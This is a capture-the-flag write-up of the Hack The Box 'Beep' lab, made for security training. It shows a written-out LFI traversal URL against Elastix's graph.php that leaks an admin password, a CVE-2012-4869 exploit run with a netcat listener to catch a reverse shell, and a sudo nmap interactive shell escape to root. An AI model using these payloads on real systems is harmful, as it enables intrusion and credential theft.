CTF··3 min read

HTB Beep: LFI to Root via Nmap Binary Exploitation

Initial Access via Local File Inclusion (LFI)

Privilege Escalation via Nmap Binary

For another privilege-escalation path centered on an exploitable SUID executable, compare HTB Irked Writeup: UnrealIRCd Backdoor to Root via SUID Abuse.

Bind machine IP to domain.

Nano editor showing /etc/hosts with beep.htb mapped to 10.129.229.183

Conduct port scan:

sudo nmap -sV -sC beep.htb

Nmap service scan results: SSH, SMTP, HTTP (Apache 2.2.3), POP3, RPC, IMAP, HTTPS with Elastix login page highlighted

sudo nmap -sV -p- --max-rate 10000 beep.htb

Nmap full port scan: 16 open ports including SSH, SMTP, HTTP, MySQL, Asterisk, and Webmin on CentOS

Including Login Page and sounds interesting, I could not connect through port 80 or 443, but nmap highlights HTTPS.

Changing TLS version support worked in my browser. In Mozilla, go to about:config.

Firefox about:config TLS settings with security.tls.version.min set to 1 to allow legacy SSL connection
Elastix login page with username and password fields on beep.htb

I found similar vulnerabilities, maybe LFI to reveal credentials of elastix and reverse shell via CVE-2012-4869.

Google search results for Elastix vulnerabilities: CVE-2012-6608 XSS, Elastix 2.2.0 LFI exploit, CVE-2012-4869

Use Elastix 2.2.0 - 'graph.php' Local File Inclusion

Remove the comment part of the exploit.

source: https://www.securityfocus.com/bid/55078/info

Elastix is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view files and execute local scripts in the context of the web server process. This may aid in further attacks.

Elastix 2.2.0 is vulnerable; other versions may also be affected. 

It did not work, but still I'll try manually.

Perl exploit 37637.pl (Elastix 2.2.0 LFI) failing twice with 'not successful' against beep.htb

The manual approach ran successfully:

https://beep.htb/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action
LFI via vtigercrm/graph.php reading amportal.conf: FreePBX credentials including admin password jEhdIekWmdjE

Let's try the creds:

On my initial attempt, admin:jEhdIekWmdjE creds authentication attempt accomplished.

Search RCE vector to obtain reverse shell call:

Elastix admin dashboard after login: system resources (CPU 0.4%, RAM 21%), running services, and process status

This is what we need actually ->

CVE-2012-4869

Install requests library dependency:

python -m venv venv
source venv/bin/activate
pip install requests
nc -lvnp 3131 or penelope -p 3131
python exploit.py <URL> --LHOST <YOUR_IP> --LPORT <YOUR_PORT>
python exploit.py https://beep.htb --LHOST 10.10.16.64 --LPORT 3131
Python exploit.py running Elastix 2.2.0 LFI CVE-2012-4869, exploit sent successfully, waiting for reverse shell

In the other tab, I got a reverse shell connection via penelope shell handler.

Penelope reverse shell handler catching connection from beep (10.129.229.183) as asterisk user with PTY upgrade

Observe that the auto shell upgrade completed via python binary.

Get user flag from /home/fanis:

User flag captured: cat user.txt in /home/fanis directory

We have fanisroot, and spamfilter users.

Home directory listing showing two users: fanis and spamfilter

Normally, in the recent labs I encountered a condition where almost every sudo -l attempt required me to input a password of the user, but for this user asterisk I did not see such thing, so let's abuse GTFOBins.

sudo -l output: asterisk can run nmap, yum, chmod, chown, service and 15 other commands as root without password

In this scenario, I tried to exploit nmap binary.

sudo nmap --interactive
!/bin/sh
Privilege escalation via sudo nmap --interactive: spawning root shell with !/bin/sh, whoami confirms root

cat /root/root.txt

Root flag captured: cat /root/root.txt after nmap interactive shell escape